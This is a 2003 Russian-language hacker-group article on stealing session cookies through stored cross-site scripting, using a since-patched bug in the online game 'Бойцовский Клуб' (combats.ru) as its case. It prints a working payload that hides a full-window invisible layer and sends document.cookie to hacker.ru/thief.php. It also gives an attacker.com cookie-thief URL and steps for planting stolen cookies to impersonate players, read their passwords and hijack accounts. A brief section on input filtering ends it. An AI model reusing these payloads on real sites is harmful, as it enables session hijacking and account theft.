======================================================================
#								     #
#                Author: {dr}{nerve}  // k0dsweb gr0up		     #
#          Статья является собственностью команды KODSWEB            #
#     Любое растпространение без нашего ведома строго запрещено.     #
#			   -= 27.03.2003 =-			     #
#								     #
======================================================================
#								     #
#         Атака на скрипты, использующие cookie-авторизацию.  	     #	
#								     #
======================================================================
          ###                                            ###          
          ###          K   O   D   S   W   E   B         ###
          ###                                            ###
#====================================================================#
#          Введение                                                  #
#====================================================================#

В данной статье я расскажу Вам об атаке на сервера,
использующие скрипты с cookie-авторизацией.

Многие форумы и гостевые книги, а также разнообразные online игры с
тысячами участников используют сookies, чтобы хранить HTTP 
состояние в течении сеанса пользователя. 

Cookies, содержащие опознавательные сертификаты можно подделать, тогда
сеанс может быть похищен. Чем это грозит - догадаться нетрудно :]

Cookies маркированы доменом, от которого они были установлены. 
Программы Web просмотра или HTTP клиенты ограничивают просмотр 
сookies от принятия других доменов.



#====================================================================#
#          Типовая атака                                             #
#====================================================================#

Если вводимые и впоследствии отсылаемые данные на защищенном домене никак
не контролируются или контролируются плохо, это может открыть доступ к данным 
cookie на домене, таким образом, можно перехватить cookie.

Типовой пример атаки - ввод следующего кода в систему сообщения:

------------------------START-CODE----------------------------------->



------------------------END-CODE-------------------------------------->

Get запрос пошлет данные сookies 
как входной параметр в виде:

http://www.attacker.com/cgi-bin/cookie_thief.cgi?COOKIE=cookie_data  

Привлекательность данного метода заключается в относительной простоте его реализации,
а также в том, что реализовать его можно разными способами, не ставя пользователя 
в известность о событии и не оставляя никаких логов.



#====================================================================#
#          Практическое применение                                   #
#====================================================================#

Современные багтраки содержат массу скриптов, подвереженных такого рода атакам.
Я хочу же привести в пример баг, который существовал какое-то время назад
в одной СУПЕР популярной Online-игре "Бойцовский Клуб" // www.combats.ru

Баг был найден человеком с ником Mayhem. Я лишь выбрал этот баг в качестве примера, чтобы
продемонстрировать то, как и что можно получить, если достать пользовательские
cookies на защищенном домене.

Уязвимость заключалась в следующем:
===================================

Сорс листа смены информации о пользователе показывал пароль в hidden элементе
в обычном plain виде:


Логично было предположить, что эти данные можно "использовать" в своих целях.
Вопрос был в том, как это все достать:

->Combats.ru
->Настройки
->Анкета

Добавляем в поле "Домашняя страница" "запрещенные символы" и видим, что
" не превращается в ", хотя некоторые теги фильтруются.

Добавляем в поле: " onMouseover="alert('hi')"
Info имеет следующий параметр:
Домашняя страница: "onMouseOver="alert('hi')" 

При наведении мышки на эту строчку выполнялась JavaScript команда Alert("hi"); 

Объем кода, который можно было вписать в это поле был ограниченный:
maxlength=30

Сохранив страницу у себя на диске и изменив параметр, проблемма была удалена:
 

Набрав длинную строку в поле домашняя страница на все 1300 символов
и перейдя в раздел info, было видно, что вся информация сохранена.

Пошли эксперименты, итогами которых стала следующая строка, записанная
в INFO "Домашняя страница":

www.combats.ru" style="position:absolute;top:-200px; left:-100px;height:700px; 
width:850px; color:#e2e0e0;" OnMouseOver='javascript:if(window.document.body.name=="hi") 
{}else{window.document.body.name="hi"; cookiea=document.cookie; 
test=open("http://www.hacker.ru/thief.php?cookie="+cookiea,"", "width=1,height=1"); 
window.hi.close();}'

Пояснения:
==========

" style=color:#e2e0e0; (e2e0e0) - делает высвечиваемый на странице код невидимым
для пользователя, (e2e0e0) - цвет фона. 

OnMouseOver - использовался этот элемент для ожидания того момента, когда юзер
проведет по ссылке

" style="position:absolute;top:-200px;left:-100px;height:700px;width:850px;color:#e2e0e0;"
А это позволяло сделать ожидания недолгими.
Это создает прозрачный слой вне пределов экрана, а строка height:700px;width:850px; 
расширяет область действия эвента на все окно с информацие об игроке.

cookiea=document.cookie; - позволяет украсть cookie

PHP и Mysql база - помогают принять украденные данные
if(window.document.body.name=="hi")
{
}
else
{
window.document.body.name="hi";
cookiea=document.cookie;
test= open("http://www.hacker.ru/thief.php?cookie="+cookiea,"", "width=1,height=1");
window.hi.close();
}

Итак, как только человек открывал Ваше INFO и двинул мышкой хоть на мгновение,
код сразу выполнялся: кукис уходили в базу данных.

Приходил cookie:
================
battleid=here_it_is; battle=Dirik; battlepsw=paskuda; ChatColor=Red

battle=Dirik;           - Чужой логин
battlepsw=paskuda;      - Пароль на поединок (Это не пароль к аккаунту игрока)

Использование:
==============

В INFO "Домашняя страница" записывалось:

"onMOuseOver='javascript:document.cookie ="battle=Dirik"; 
document.cookie =" ChatColor=Red"; 
document.cookie =" battleid= here_it_is "; 
document.cookie =" battlepsw= paskuda ";'

Пояснение:
==========

При наведении мышки на строку с домашней страницей броузеру присваивались
необходимые Cookie. То есть необходимо было сохранить указанную выше строку 
в Info "Домашняя страница", затем просмотреть ее самому, чтобы присвоить себе
несвои кукисы, тем самым став другим игроком - Dirik'ом.

http://mail.tut.by/Redirect/www.combats.ru/enter.pl?edit=1
Необходимо было просмотреть сорс для получения пароля.

А применялось это так:
======================

Хакер заходил в "Поединки", подавал заявку и начинал собирать пароли в свою базу данных,
затем выбирал сильнейшего игрока по логинам, которые он имел, присваивал себе его
куки, входил на страницу редактирования информации "о себе" и смотрел пароль,
затем менял его, и наслаждался своим превосходством.

Хочу также отметить, что описанный выше способ в настоящее время не работает,
так как пользовательский ввод в info "Домашняя Страница" фильтрует нужные символы.



#====================================================================#
#          Как прикрыть уязвимость                                   #
#====================================================================#

Это наиболее интересная секция для системщиков и веб-мастеров.
Прикрыть баг довольно просто. Для этого необходимо сделать следующее
(все базируется на фильтрации вводимых данных):


- Необходимо гарантировать, что все разрешенные для ввода теги и атрибуты безопасны
  и лимитированы
- Необходимо отфильтровывать двойные и одиночные кавычки
- Необходимо удалять все нулевые символы.



#====================================================================#
#          Заключение                                                #
#====================================================================#

Атаки, основанные на похищении cookies, в настоящее время не редкость.
Для тех, кто хочет в этом попрактиковаться, место на buqtrak'е.
Наиболее часто уязвимости данного рода встречаются в форумах, гостевых книгах и online играх,
где cookies хранят логины и пароли пользователей.
Фильтрация ввода - неободимый метод борьбы с уязвимостью данного рода.



Все отзывы/предложения принимаются по адресу: admin@kodsweb.ru
					      [k0dsweb] kodsweb.ru
                                или на форум: kodsweb.ru/kwforum/

видеонаблюдение, комплект видеонаблюдения ucontrol.